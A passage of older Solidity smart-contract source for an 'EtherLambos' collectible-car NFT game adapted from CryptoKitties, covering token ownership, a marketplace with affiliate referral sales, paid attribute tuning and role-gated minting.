uint256 _tokenId
)
external
whenNotPaused
{
// Safety check to prevent against an unexpected 0x0 default.
require(_to != address(0));
// Disallow transfers to this contract to prevent accidental misuse.
// The contract should never own any lambos.
require(_to != address(this));
// Check for approval and valid ownership
require(_approvedFor(msg.sender, _tokenId));
require(_owns(_from, _tokenId));
// Reassign ownership (also clears pending approvals and emits Transfer event).
_transfer(_from, _to, _tokenId);
}
/// @notice Returns the total number of Lambos currently in existence.
/// @dev Required for ERC-721 compliance.
function totalSupply() public view returns (uint) {
return lambos.length - 1;
}
/// @notice Returns the address currently assigned ownership of a given Lambo.
/// @dev Required for ERC-721 compliance.
function ownerOf(uint256 _tokenId)
external
view
returns (address owner)
{
owner = lamboIndexToOwner[_tokenId];
require(owner != address(0));
}
/// @notice Returns a list of all Lambo IDs assigned to an address.
/// @param _owner The owner whose Lambo we are interested in.
/// @dev This method MUST NEVER be called by smart contract code. First, it's fairly
/// expensive (it walks the entire Lambo array looking for cars belonging to owner),
/// but it also returns a dynamic array, which is only supported for web3 calls, and
/// not contract-to-contract calls.
function tokensOfOwner(address _owner) external view returns(uint256[] ownerTokens) {
uint256 tokenCount = balanceOf(_owner);
if (tokenCount == 0) {
// Return an empty array
return new uint256[](0);
} else {
uint256[] memory result = new uint256[](tokenCount);
uint256 totalCars = totalSupply();
uint256 resultIndex = 0;
// We count on the fact that all cars have IDs starting at 1 and increasing
// sequentially up to the totalCat count.
uint256 carId;
for (carId = 1; carId <= totalCars; carId++) {
if (lamboIndexToOwner[carId] == _owner) {
result[resultIndex] = carId;
resultIndex++;
}
}
return result;
}
}
/// @dev Adapted from memcpy() by @arachnid (Nick Johnson <[email protected]>)
/// This method is licenced under the Apache License.
/// Ref: https://github.com/Arachnid/solidity-stringutils/blob/2f6ca9accb48ae14c66f1437ec50ed19a0616f78/strings.sol
function _memcpy(uint _dest, uint _src, uint _len) private view {
// Copy word-length chunks while possible
for(; _len >= 32; _len -= 32) {
assembly {
mstore(_dest, mload(_src))
}
_dest += 32;
_src += 32;
}
// Copy remaining bytes
uint256 mask = 256 ** (32 - _len) - 1;
assembly {
let srcpart := and(mload(_src), not(mask))
let destpart := and(mload(_dest), mask)
mstore(_dest, or(destpart, srcpart))
}
}
/// @dev Adapted from toString(slice) by @arachnid (Nick Johnson <[email protected]>)
/// This method is licenced under the Apache License.
/// Ref: https://github.com/Arachnid/solidity-stringutils/blob/2f6ca9accb48ae14c66f1437ec50ed19a0616f78/strings.sol
function _toString(bytes32[4] _rawBytes, uint256 _stringLength) private view returns (string) {
var outputString = new string(_stringLength);
uint256 outputPtr;
uint256 bytesPtr;
assembly {
outputPtr := add(outputString, 32)
bytesPtr := _rawBytes
}
_memcpy(outputPtr, bytesPtr, _stringLength);
return outputString;
}
/// @notice Returns a URI pointing to a metadata package for this token conforming to
/// ERC-721 (https://github.com/ethereum/EIPs/issues/721)
/// @param _tokenId The ID number of the Lambos whose metadata should be returned.
function tokenMetadata(uint256 _tokenId, string _preferredTransport) external view returns (string infoUrl) {
require(erc721Metadata != address(0));
bytes32[4] memory buffer;
uint256 count;
(buffer, count) = erc721Metadata.getMetadata(_tokenId, _preferredTransport);
return _toString(buffer, count);
}
}
/// @title MarketPlace core
/// @dev Contains models, variables, and internal methods for the marketplace.
/// @notice We omit a fallback function to prevent accidental sends to this contract.
contract MarketPlaceBase is Ownable {
// Represents an sale on an NFT
struct Sale {
// Current owner of NFT
address seller;
// Price (in wei)
uint128 price;
// Time when sale started
// NOTE: 0 if this sale has been concluded
uint64 startedAt;
}
struct Affiliates {
address affiliate_address;
uint64 commission;
uint64 pricecut;
}
//Affiliates[] affiliates;
// Reference to contract tracking NFT ownership
ERC721 public nonFungibleContract;
// Cut owner takes on each sale, measured in basis points (1/100 of a percent).
// Values 0-10,000 map to 0%-100%
uint256 public ownerCut;
//map the Affiliate Code to the Affiliate
mapping (uint256 => Affiliates) codeToAffiliate;
// Map from token ID to their corresponding sale.
mapping (uint256 => Sale) tokenIdToSale;
event SaleCreated(uint256 tokenId, uint256 price);
event SaleSuccessful(uint256 tokenId, uint256 price, address buyer);
event SaleCancelled(uint256 tokenId);
/// @dev Returns true if the claimant owns the token.
/// @param _claimant - Address claiming to own the token.
/// @param _tokenId - ID of token whose ownership to verify.
function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) {
return (nonFungibleContract.ownerOf(_tokenId) == _claimant);
}
/// @dev Escrows the NFT, assigning ownership to this contract.
/// Throws if the escrow fails.
/// @param _owner - Current owner address of token to escrow.
/// @param _tokenId - ID of token whose approval to verify.
function _escrow(address _owner, uint256 _tokenId) internal {
// it will throw if transfer fails
nonFungibleContract.transferFrom(_owner, this, _tokenId);
}
/// @dev Transfers an NFT owned by this contract to another address.
/// Returns true if the transfer succeeds.
/// @param _receiver - Address to transfer NFT to.
/// @param _tokenId - ID of token to transfer.
function _transfer(address _receiver, uint256 _tokenId) internal {
// it will throw if transfer fails
nonFungibleContract.transfer(_receiver, _tokenId);
}
/// @dev Adds an sale to the list of open sales. Also fires the
/// SaleCreated event.
/// @param _tokenId The ID of the token to be put on sale.
/// @param _sale Sale to add.
function _addSale(uint256 _tokenId, Sale _sale) internal {
tokenIdToSale[_tokenId] = _sale;
SaleCreated(
uint256(_tokenId),
uint256(_sale.price)
);
}
/// @dev Cancels a sale unconditionally.
function _cancelSale(uint256 _tokenId, address _seller) internal {
_removeSale(_tokenId);
_transfer(_seller, _tokenId);
SaleCancelled(_tokenId);
}
/// @dev Computes the price and transfers winnings.
/// Does NOT transfer ownership of token.
function _bid(uint256 _tokenId, uint256 _bidAmount)
internal
returns (uint256)
{
// Get a reference to the sale struct
Sale storage sale = tokenIdToSale[_tokenId];
// Explicitly check that this sale is currently live.
// (Because of how Ethereum mappings work, we can't just count
// on the lookup above failing. An invalid _tokenId will just
// return a sale object that is all zeros.)
require(_isOnSale(sale));
// Check that the bid is greater than or equal to the current price
uint256 price = sale.price;
require(_bidAmount >= price);
// Grab a reference to the seller before the sale struct
// gets deleted.
address seller = sale.seller;
// The bid is good! Remove the sale before sending the fees
// to the sender so we can't have a reentrancy attack.
_removeSale(_tokenId);
// Transfer proceeds to seller (if there are any!)
if (price > 0) {
// Calculate the Marketplace's cut.
// (NOTE: _computeCut() is guaranteed to return a
// value <= price, so this subtraction can't go negative.)
uint256 marketplaceCut = _computeCut(price);
uint256 sellerProceeds = price - marketplaceCut;
// NOTE: Doing a transfer() in the middle of a complex
// method like this is generally discouraged because of
// reentrancy attacks and DoS attacks if the seller is
// a contract with an invalid fallback function. We explicitly
// guard against reentrancy attacks by removing the auction
// before calling transfer(), and the only thing the seller
// can DoS is the sale of their own asset! (And if it's an
// accident, they can call cancelAuction(). )
seller.transfer(sellerProceeds);
}
// Calculate any excess funds included with the bid. If the excess
// is anything worth worrying about, transfer it back to bidder.
// NOTE: We checked above that the bid amount is greater than or
// equal to the price so this cannot underflow.
uint256 bidExcess = _bidAmount - price;
// Return the funds. Similar to the previous transfer, this is
// not susceptible to a re-entry attack because the auction is
// removed before any transfers occur.
msg.sender.transfer(bidExcess);
// Tell the world!
SaleSuccessful(_tokenId, price, msg.sender);
return price;
}
/// @dev Removes a sale from the list of open sales.
/// @param _tokenId - ID of NFT on sale.
function _removeSale(uint256 _tokenId) internal {
delete tokenIdToSale[_tokenId];
}
/// @dev Returns true if the NFT is on sale.
/// @param _sale - Sale to check.
function _isOnSale(Sale storage _sale) internal view returns (bool) {
return (_sale.startedAt > 0);
}
/// @dev Computes owner's cut of a sale.
/// @param _price - Sale price of NFT.
function _computeCut(uint256 _price) internal view returns (uint256) {
// NOTE: We don't use SafeMath (or similar) in this function because
// all of our entry functions carefully cap the maximum values for
// currency (at 128-bits), and ownerCut <= 10000 (see the require()
// statement in the Marketplace constructor). The result of this
// function is always guaranteed to be <= _price.
return _price * ownerCut / 10000;
}
function _computeAffiliateCut(uint256 _price,Affiliates affiliate) internal view returns (uint256) {
// NOTE: We don't use SafeMath (or similar) in this function because
// all of our entry functions carefully cap the maximum values for
// currency (at 128-bits), and ownerCut <= 10000 (see the require()
// statement in the Marketplace constructor). The result of this
// function is always guaranteed to be <= _price.
return _price * affiliate.commission / 10000;
}
/// @dev Adds an affiliate to the list.
/// @param _code The referall code of the affiliate.
/// @param _affiliate Affiliate to add.
function _addAffiliate(uint256 _code, Affiliates _affiliate) internal {
codeToAffiliate[_code] = _affiliate;
}
/// @dev Removes a affiliate from the list.
/// @param _code - The referall code of the affiliate.
function _removeAffiliate(uint256 _code) internal {
delete codeToAffiliate[_code];
}
//_bidReferral(_tokenId, msg.value);
/// @dev Computes the price and transfers winnings.
/// Does NOT transfer ownership of token.
function _bidReferral(uint256 _tokenId, uint256 _bidAmount,Affiliates _affiliate)
internal
returns (uint256)
{
// Get a reference to the sale struct
Sale storage sale = tokenIdToSale[_tokenId];
//Only Owner of Contract can sell referrals
require(sale.seller==owner);
// Explicitly check that this sale is currently live.
// (Because of how Ethereum mappings work, we can't just count
// on the lookup above failing. An invalid _tokenId will just
// return a sale object that is all zeros.)
require(_isOnSale(sale));
// Check that the bid is greater than or equal to the current price
uint256 price = sale.price;
//deduce the affiliate pricecut
price=price * _affiliate.pricecut / 10000;
require(_bidAmount >= price);
// Grab a reference to the seller before the sale struct
// gets deleted.
address seller = sale.seller;
address affiliate_address = _affiliate.affiliate_address;
// The bid is good! Remove the sale before sending the fees
// to the sender so we can't have a reentrancy attack.
_removeSale(_tokenId);
// Transfer proceeds to seller (if there are any!)
if (price > 0) {
// Calculate the Marketplace's cut.
// (NOTE: _computeCut() is guaranteed to return a
// value <= price, so this subtraction can't go negative.)
uint256 affiliateCut = _computeAffiliateCut(price,_affiliate);
uint256 sellerProceeds = price - affiliateCut;
// NOTE: Doing a transfer() in the middle of a complex
// method like this is generally discouraged because of
// reentrancy attacks and DoS attacks if the seller is
// a contract with an invalid fallback function. We explicitly
// guard against reentrancy attacks by removing the auction
// before calling transfer(), and the only thing the seller
// can DoS is the sale of their own asset! (And if it's an
// accident, they can call cancelAuction(). )
seller.transfer(sellerProceeds);
affiliate_address.transfer(affiliateCut);
}
// Calculate any excess funds included with the bid. If the excess
// is anything worth worrying about, transfer it back to bidder.
// NOTE: We checked above that the bid amount is greater than or
// equal to the price so this cannot underflow.
uint256 bidExcess = _bidAmount - price;
// Return the funds. Similar to the previous transfer, this is
// not susceptible to a re-entry attack because the auction is
// removed before any transfers occur.
msg.sender.transfer(bidExcess);
// Tell the world!
SaleSuccessful(_tokenId, price, msg.sender);
return price;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev modifier to allow actions only when the contract IS paused
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev modifier to allow actions only when the contract IS NOT paused
*/
modifier whenPaused {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused returns (bool) {
paused = true;
Pause();
return true;
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused returns (bool) {
paused = false;
Unpause();
return true;
}
}
/// @title MarketPlace for non-fungible tokens.
/// @notice We omit a fallback function to prevent accidental sends to this contract.
contract MarketPlace is Pausable, MarketPlaceBase {
// @dev Sanity check that allows us to ensure that we are pointing to the
// right auction in our setSaleMarketplaceAddress() call.
bool public isMarketplace = true;
/// @dev The ERC-165 interface signature for ERC-721.
/// Ref: https://github.com/ethereum/EIPs/issues/165
/// Ref: https://github.com/ethereum/EIPs/issues/721
bytes4 constant InterfaceSignature_ERC721 = bytes4(0x9a20483d);
/// @dev Constructor creates a reference to the NFT ownership contract
/// and verifies the owner cut is in the valid range.
/// @param _nftAddress - address of a deployed contract implementing
/// the Nonfungible Interface.
/// @param _cut - percent cut the owner takes on each sale, must be
/// between 0-10,000.
function MarketPlace(address _nftAddress, uint256 _cut) public {
require(_cut <= 10000);
ownerCut = _cut;
ERC721 candidateContract = ERC721(_nftAddress);
//require(candidateContract.supportsInterface(InterfaceSignature_ERC721));
nonFungibleContract = candidateContract;
}
function setNFTAddress(address _nftAddress, uint256 _cut) external onlyOwner {
require(_cut <= 10000);
ownerCut = _cut;
ERC721 candidateContract = ERC721(_nftAddress);
//require(candidateContract.supportsInterface(InterfaceSignature_ERC721));
nonFungibleContract = candidateContract;
}
/// @dev Remove all Ether from the contract, which is the owner's cuts
/// as well as any Ether sent directly to the contract address.
/// Always transfers to the NFT contract, but can be called either by
/// the owner or the NFT contract.
function withdrawBalance() external {
address nftAddress = address(nonFungibleContract);
require(
msg.sender == owner ||
msg.sender == nftAddress
);
// We are using this boolean method to make sure that even if one fails it will still work
bool res = nftAddress.send(this.balance);
}
/// @dev Creates and begins a new sale.
/// @param _tokenId - ID of token to sale, sender must be owner.
/// @param _price - Price of item (in wei)
/// @param _seller - Seller, if not the message sender
function createSale(
uint256 _tokenId,
uint256 _price,
address _seller
)
external
whenNotPaused
{
// Sanity check that no inputs overflow how many bits we've allocated
// to store them in the auction struct.
require(_price == uint256(uint128(_price)));
//require(_owns(msg.sender, _tokenId));
//_escrow(msg.sender, _tokenId);
require(msg.sender == address(nonFungibleContract));
_escrow(_seller, _tokenId);
Sale memory sale = Sale(
_seller,
uint128(_price),
uint64(now)
);
_addSale(_tokenId, sale);
}
/// @dev Bids on a sale, completing the sale and transferring
/// ownership of the NFT if enough Ether is supplied.
/// @param _tokenId - ID of token to bid on.
function bid(uint256 _tokenId)
external
payable
whenNotPaused
{
// _bid will throw if the bid or funds transfer fails
_bid(_tokenId, msg.value);
_transfer(msg.sender, _tokenId);
}
/// @dev Bids on a sale, completing the sale and transferring
/// ownership of the NFT if enough Ether is supplied.
/// @param _tokenId - ID of token to bid on.
function bidReferral(uint256 _tokenId,uint256 _code)
external
payable
whenNotPaused
{
// _bid will throw if the bid or funds transfer fails
Affiliates storage affiliate = codeToAffiliate[_code];
require(affiliate.affiliate_address!=0&&_code>0);
_bidReferral(_tokenId, msg.value,affiliate);
_transfer(msg.sender, _tokenId);
}
/// @dev Cancels an sale that hasn't been won yet.
/// Returns the NFT to original owner.
/// @notice This is a state-modifying function that can
/// be called while the contract is paused.
/// @param _tokenId - ID of token on sale
function cancelSale(uint256 _tokenId)
external
{
Sale storage sale = tokenIdToSale[_tokenId];
require(_isOnSale(sale));
address seller = sale.seller;
require(msg.sender == seller);
_cancelSale(_tokenId, seller);
}
/// @dev Cancels a sale when the contract is paused.
/// Only the owner may do this, and NFTs are returned to
/// the seller. This should only be used in emergencies.
/// @param _tokenId - ID of the NFT on sale to cancel.
function cancelSaleWhenPaused(uint256 _tokenId)
whenPaused
onlyOwner
external
{
Sale storage sale = tokenIdToSale[_tokenId];
require(_isOnSale(sale));
_cancelSale(_tokenId, sale.seller);
}
/// @dev Returns sale info for an NFT on sale.
/// @param _tokenId - ID of NFT on sale.
function getSale(uint256 _tokenId)
external
view
returns
(
address seller,
uint256 price,
uint256 startedAt
) {
Sale storage sale = tokenIdToSale[_tokenId];
require(_isOnSale(sale));
return (
sale.seller,
sale.price,
sale.startedAt
);
}
/// @dev Returns the current price of a sale.
/// @param _tokenId - ID of the token price we are checking.
function getCurrentPrice(uint256 _tokenId)
external
view
returns (uint256)
{
Sale storage sale = tokenIdToSale[_tokenId];
require(_isOnSale(sale));
return sale.price;
}
/// @dev Creates and begins a new sale.
/// @param _code - ID of token to sale, sender must be owner.
/// @param _commission - percentage of commission for affiliate
/// @param _pricecut - percentage of sell price cut for buyer
/// @param _affiliate_address - affiliate address
function createAffiliate(
uint256 _code,
uint64 _commission,
uint64 _pricecut,
address _affiliate_address
)
external
onlyOwner
{
Affiliates memory affiliate = Affiliates(
address(_affiliate_address),
uint64(_commission),
uint64(_pricecut)
);
_addAffiliate(_code, affiliate);
}
/// @dev Returns affiliate info for an affiliate code.
/// @param _code - code for an affiliate.
function getAffiliate(uint256 _code)
external
view
onlyOwner
returns
(
address affiliate_address,
uint64 commission,
uint64 pricecut
) {
Affiliates storage affiliate = codeToAffiliate[_code];
return (
affiliate.affiliate_address,
affiliate.commission,
affiliate.pricecut
);
}
/// @dev Removes affiliate.
/// Only the owner may do this
/// @param _code - code for an affiliate.
function removeAffiliate(uint256 _code)
onlyOwner
external
{
_removeAffiliate(_code);
}
}
/// @title ServiceStationBase core
/// @dev Contains models, variables, and internal methods for the ServiceStation.
contract ServiceStationBase {
// Reference to contract tracking NFT ownership
ERC721 public nonFungibleContract;
struct Tune{
uint256 startChange;
uint256 rangeChange;
uint256 attChange;
bool plusMinus;
bool replace;
uint128 price;
bool active;
uint64 model;
}
Tune[] options;
/// @dev Returns true if the claimant owns the token.
/// @param _claimant - Address claiming to own the token.
/// @param _tokenId - ID of token whose ownership to verify.
function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) {
return (nonFungibleContract.ownerOf(_tokenId) == _claimant);
}
/// @dev Calls the NFT Contract with the tuned attributes
function _tune(uint256 _newattributes, uint256 _tokenId) internal {
nonFungibleContract.tuneLambo(_newattributes, _tokenId);
}
function _changeAttributes(uint256 _tokenId,uint256 _optionIndex) internal {
//Get model from token
uint64 model = nonFungibleContract.getLamboModel(_tokenId);
//throw if tune option is not made for model
require(options[_optionIndex].model==model);
//Get original attributes
uint256 attributes = nonFungibleContract.getLamboAttributes(_tokenId);
uint256 part=0;
//Dissect for options
part=(attributes/(10 ** options[_optionIndex].startChange)) % (10 ** options[_optionIndex].rangeChange);
//part=1544;
//Change attributes & verify
//Should attChange be added,subtracted or replaced?
if(options[_optionIndex].replace == false)
{
//change should be added
if(options[_optionIndex].plusMinus == false)
{
//e.g. if range = 4 then value can not be higher then 9999 - overflow check
require((part+options[_optionIndex].attChange)<(10**options[_optionIndex].rangeChange));
//add to attributes
attributes=attributes+options[_optionIndex].attChange*(10 ** options[_optionIndex].startChange);
}
else{
//do some subtraction
//e.g. value must be greater then 0
require(part>options[_optionIndex].attChange);
//substract from attributes
attributes-=options[_optionIndex].attChange*(10 ** options[_optionIndex].startChange);
}
}
else
{
//do some replacing
attributes=attributes-part*(10 ** options[_optionIndex].startChange);
attributes+=options[_optionIndex].attChange*(10 ** options[_optionIndex].startChange);
}
//Tune Lambo in NFT contract
_tune(uint256(attributes), _tokenId);
}
}
/// @title ServiceStation for non-fungible tokens.
contract ServiceStation is Pausable, ServiceStationBase {
// @dev Sanity check that allows us to ensure that we are pointing to the right call.
bool public isServicestation = true;
/// @dev The ERC-165 interface signature for ERC-721.
/// Ref: https://github.com/ethereum/EIPs/issues/165
/// Ref: https://github.com/ethereum/EIPs/issues/721
bytes4 constant InterfaceSignature_ERC721 = bytes4(0x9a20483d);
uint256 public optionCount;
mapping (uint64 => uint256) public modelIndexToOptionCount;
/// @dev Constructor creates a reference to the NFT ownership contract
/// and verifies the owner cut is in the valid range.
/// @param _nftAddress - address of a deployed contract implementing
/// the Nonfungible Interface.
function ServiceStation(address _nftAddress) public {
ERC721 candidateContract = ERC721(_nftAddress);
//require(candidateContract.supportsInterface(InterfaceSignature_ERC721));
nonFungibleContract = candidateContract;
_newTuneOption(0,0,0,false,false,0,0);
}
function setNFTAddress(address _nftAddress) external onlyOwner {
ERC721 candidateContract = ERC721(_nftAddress);
//require(candidateContract.supportsInterface(InterfaceSignature_ERC721));
nonFungibleContract = candidateContract;
}
function newTuneOption(
uint32 _startChange,
uint32 _rangeChange,
uint256 _attChange,
bool _plusMinus,
bool _replace,
uint128 _price,
uint64 _model
)
external
{
//Only allow owner to add new options
require(msg.sender == owner );
optionCount++;
modelIndexToOptionCount[_model]++;
_newTuneOption(_startChange,_rangeChange,_attChange,_plusMinus, _replace,_price,_model);
}
function changeTuneOption(
uint32 _startChange,
uint32 _rangeChange,
uint256 _attChange,
bool _plusMinus,
bool _replace,
uint128 _price,
bool _isactive,
uint64 _model,
uint256 _optionIndex
)
external
{
//Only allow owner to add new options
require(msg.sender == owner );
_changeTuneOption(_startChange,_rangeChange,_attChange,_plusMinus, _replace,_price,_isactive,_model,_optionIndex);
}
function _newTuneOption( uint32 _startChange,
uint32 _rangeChange,
uint256 _attChange,
bool _plusMinus,
bool _replace,
uint128 _price,
uint64 _model
)
internal
{
Tune memory _option = Tune({
startChange: _startChange,
rangeChange: _rangeChange,
attChange: _attChange,
plusMinus: _plusMinus,
replace: _replace,
price: _price,
active: true,
model: _model
});
options.push(_option);
}
function _changeTuneOption( uint32 _startChange,
uint32 _rangeChange,
uint256 _attChange,
bool _plusMinus,
bool _replace,
uint128 _price,
bool _isactive,
uint64 _model,
uint256 _optionIndex
)
internal
{
Tune memory _option = Tune({
startChange: _startChange,
rangeChange: _rangeChange,
attChange: _attChange,
plusMinus: _plusMinus,
replace: _replace,
price: _price,
active: _isactive,
model: _model
});
options[_optionIndex]=_option;
}
function disableTuneOption(uint256 index) external
{
require(msg.sender == owner );
options[index].active=false;
}
function enableTuneOption(uint256 index) external
{
require(msg.sender == owner );
options[index].active=true;
}
function getOption(uint256 _index)
external view
returns (
uint256 _startChange,
uint256 _rangeChange,
uint256 _attChange,
bool _plusMinus,
uint128 _price,
bool active,
uint64 model
)
{
//require(options[_index].active);
return (
options[_index].startChange,
options[_index].rangeChange,
options[_index].attChange,
options[_index].plusMinus,
options[_index].price,
options[_index].active,
options[_index].model
);
}
function getOptionCount() external view returns (uint256 _optionCount)
{
return optionCount;
}
function tuneLambo(uint256 _tokenId,uint256 _optionIndex) external payable
{
//Caller needs to own Lambo
require(_owns(msg.sender, _tokenId));
//Tuning Option needs to be enabled
require(options[_optionIndex].active);
//Enough money for tuning to spend?
require(msg.value>=options[_optionIndex].price);
_changeAttributes(_tokenId,_optionIndex);
}
/// @dev Remove all Ether from the contract, which is the owner's cuts
/// as well as any Ether sent directly to the contract address.
/// Always transfers to the NFT contract, but can be called either by
/// the owner or the NFT contract.
function withdrawBalance() external {
address nftAddress = address(nonFungibleContract);
require(
msg.sender == owner ||
msg.sender == nftAddress
);
// We are using this boolean method to make sure that even if one fails it will still work
bool res = owner.send(this.balance);
}
function getOptionsForModel(uint64 _model) external view returns(uint256[] _optionsModel) {
//uint256 tokenCount = balanceOf(_owner);
//if (tokenCount == 0) {
// Return an empty array
// return new uint256[](0);
//} else {
uint256[] memory result = new uint256[](modelIndexToOptionCount[_model]);
//uint256 totalCars = totalSupply();
uint256 resultIndex = 0;
// We count on the fact that all cars have IDs starting at 0 and increasing
// sequentially up to the optionCount count.
uint256 optionId;
for (optionId = 1; optionId <= optionCount; optionId++) {
if (options[optionId].model == _model && options[optionId].active == true) {
result[resultIndex] = optionId;
resultIndex++;
}
}
return result;
// }
}
}
////No SiringClockAuction needed for Lambos
////No separate modification for SaleContract needed
/// @title Handles creating sales for sale of lambos.
/// This wrapper of ReverseSale exists only so that users can create
/// sales with only one transaction.
contract EtherLambosSale is EtherLambosOwnership {
// @notice The sale contract variables are defined in EtherLambosBase to allow
// us to refer to them in EtherLambosOwnership to prevent accidental transfers.
// `saleMarketplace` refers to the auction for p2p sale of cars.
/// @dev Sets the reference to the sale auction.
/// @param _address - Address of sale contract.
function setMarketplaceAddress(address _address) external onlyCEO {
MarketPlace candidateContract = MarketPlace(_address);
// NOTE: verify that a contract is what we expect - https://github.com/Lunyr/crowdsale-contracts/blob/cfadd15986c30521d8ba7d5b6f57b4fefcc7ac38/contracts/LunyrToken.sol#L117
require(candidateContract.isMarketplace());
// Set the new contract address
marketPlace = candidateContract;
}
/// @dev Put a lambo up for sale.
/// Does some ownership trickery to create auctions in one tx.
function createLamboSale(
uint256 _carId,
uint256 _price
)
external
whenNotPaused
{
// Sale contract checks input sizes
// If lambo is already on any sale, this will throw
// because it will be owned by the sale contract.
require(_owns(msg.sender, _carId));
_approve(_carId, marketPlace);
// Sale throws if inputs are invalid and clears
// transfer after escrowing the lambo.
marketPlace.createSale(
_carId,
_price,
msg.sender
);
}
function bulkCreateLamboSale(
uint256 _price,
uint256 _tokenIdStart,
uint256 _tokenCount
)
external
onlyCOO
{
// Sale contract checks input sizes
// If lambo is already on any sale, this will throw
// because it will be owned by the sale contract.
for(uint256 i=0;i<_tokenCount;i++)
{
require(_owns(msg.sender, _tokenIdStart+i));
_approve(_tokenIdStart+i, marketPlace);
// Sale throws if inputs are invalid and clears
// transfer after escrowing the lambo.
marketPlace.createSale(
_tokenIdStart+i,
_price,
msg.sender
);
}
}
/// @dev Transfers the balance of the marketPlace contract
/// to the EtherLambosCore contract. We use two-step withdrawal to
/// prevent two transfer calls in the auction bid function.
function withdrawSaleBalances() external onlyCLevel {
marketPlace.withdrawBalance();
}
}
/// @title all functions related to creating lambos
contract EtherLambosBuilding is EtherLambosSale {
// Limits the number of cars the contract owner can ever create.
//uint256 public constant PROMO_CREATION_LIMIT = 5000;
//uint256 public constant GEN0_CREATION_LIMIT = 45000;
// Counts the number of cars the contract owner has created.
uint256 public lambosBuildCount;
/// @dev we can build lambos. Only callable by COO
/// @param _attributes the encoded attributes of the lambo to be created, any value is accepted
/// @param _owner the future owner of the created lambo. Default to contract COO
/// @param _model the model of the created lambo.
function createLambo(uint256 _attributes, address _owner, uint64 _model) external onlyCOO {
address lamboOwner = _owner;
if (lamboOwner == address(0)) {
lamboOwner = cooAddress;
}
//require(promoCreatedCount < PROMO_CREATION_LIMIT);
lambosBuildCount++;
_createLambo(_attributes, lamboOwner, _model);
}
function bulkCreateLambo(uint256 _attributes, address _owner, uint64 _model,uint256 count, uint256 startNo) external onlyCOO {
address lamboOwner = _owner;
uint256 att=_attributes;
if (lamboOwner == address(0)) {
lamboOwner = cooAddress;
}
//do some replacing
//_attributes=_attributes-part*(10 ** 66);
//require(promoCreatedCount < PROMO_CREATION_LIMIT);
for(uint256 i=0;i<count;i++)
{
lambosBuildCount++;
att=_attributes+(startNo+i)*(10 ** 66);
_createLambo(att, lamboOwner, _model);
}
}
}
/// @title all functions related to tuning lambos
contract EtherLambosTuning is EtherLambosBuilding {
// Counts the number of tunings have been done.
uint256 public lambosTuneCount;
function setServicestationAddress(address _address) external onlyCEO {
ServiceStation candidateContract = ServiceStation(_address);
// NOTE: verify that a contract is what we expect - https://github.com/Lunyr/crowdsale-contracts/blob/cfadd15986c30521d8ba7d5b6f57b4fefcc7ac38/contracts/LunyrToken.sol#L117
require(candidateContract.isServicestation());
// Set the new contract address
serviceStation = candidateContract;
}
/// @dev we can tune lambos. Only callable by ServiceStation contract
/// @param _newattributes the new encoded attributes of the lambo to be updated
/// @param _tokenId the lambo to be tuned.
function tuneLambo(uint256 _newattributes, uint256 _tokenId) external {
//Tuning can only be done by the ServiceStation Contract.
require(
msg.sender == address(serviceStation)
);
lambosTuneCount++;
_tuneLambo(_newattributes, _tokenId);
}
function withdrawTuneBalances() external onlyCLevel {
serviceStation.withdrawBalance();
}
}
/// @title EtherLambos: Collectible, tuneable, and super stylish lambos on the Ethereum blockchain.
/// @author Cryptoknights code adapted from Axiom Zen (https://www.axiomzen.co)
/// @dev The main EtherLambos contract, keeps track of lambos.
contract EtherLambosCore is EtherLambosTuning {
// This is the main EtherLambos contract. In order to keep our code seperated into logical sections,
// we've broken it up in two ways. First, we have several seperately-instantiated sibling contracts
// that handle sales. The sales are
// seperate since their logic is somewhat complex and there's always a risk of subtle bugs. By keeping
// them in their own contracts, we can upgrade them without disrupting the main contract that tracks
// lambo ownership.
//
// Secondly, we break the core contract into multiple files using inheritence, one for each major
// facet of functionality of EtherLambos. This allows us to keep related code bundled together while still
// avoiding a single giant file with everything in it. The breakdown is as follows:
//
// - EtherLambosBase: This is where we define the most fundamental code shared throughout the core
// functionality. This includes our main data storage, constants and data types, plus
// internal functions for managing these items.
//
// - EtherLambosAccessControl: This contract manages the various addresses and constraints for operations
// that can be executed only by specific roles. Namely CEO, CFO and COO.
//
// - EtherLambosOwnership: This provides the methods required for basic non-fungible token
// transactions, following the draft ERC-721 spec (https://github.com/ethereum/EIPs/issues/721).
//
// - EtherLambosSale: Here we have the public methods for sales.
//
// - EtherLambosBuilding: This final facet contains the functionality we use for creating new cars.
//
// Set in case the core contract is broken and an upgrade is required
address public newContractAddress;
/// @notice Creates the main EtherLambos smart contract instance.
function EtherLambosCore() public {
// Starts paused.
paused = true;
// the creator of the contract is the initial CEO
ceoAddress = msg.sender;
// the creator of the contract is also the initial COO
cooAddress = msg.sender;
// start with the car 0
_createLambo(uint256(-1), address(0),0);
}
/// @dev Used to mark the smart contract as upgraded, in case there is a serious
/// breaking bug. This method does nothing but keep track of the new contract and
/// emit a message indicating that the new address is set. It's up to clients of this
/// contract to update to the new contract address in that case. (This contract will
/// be paused indefinitely if such an upgrade takes place.)
/// @param _v2Address new address
function setNewAddress(address _v2Address) external onlyCEO whenPaused {
// See README.md for updgrade plan
newContractAddress = _v2Address;
ContractUpgrade(_v2Address);
}
/// @notice No tipping!
/// @dev Reject all Ether from being sent here, unless it's from the marketPlace contract.
/// (Hopefully, we can prevent user accidents.)
function() external payable {
require(
msg.sender == address(marketPlace)
);
}
/// @notice Returns all the relevant information about a specific lambo.
/// @param _id The ID of the lambo of interest.
function getLambo(uint256 _id)
external
view
returns (
uint256 buildTime,
uint256 attributes
) {
Lambo storage kit = lambos[_id];
buildTime = uint256(kit.buildTime);
attributes = kit.attributes;
}
/// @notice Returns all the relevant information about a specific lambo.
/// @param _id The ID of the lambo of interest.
function getLamboAttributes(uint256 _id)
external
view
returns (
uint256 attributes
) {
Lambo storage kit = lambos[_id];
attributes = kit.attributes;
return attributes;
}
/// @notice Returns all the relevant information about a specific lambo.
/// @param _id The ID of the lambo of interest.
function getLamboModel(uint256 _id)
external
view
returns (
uint64 model
) {
Lambo storage kit = lambos[_id];
model = kit.model;
return model;
}
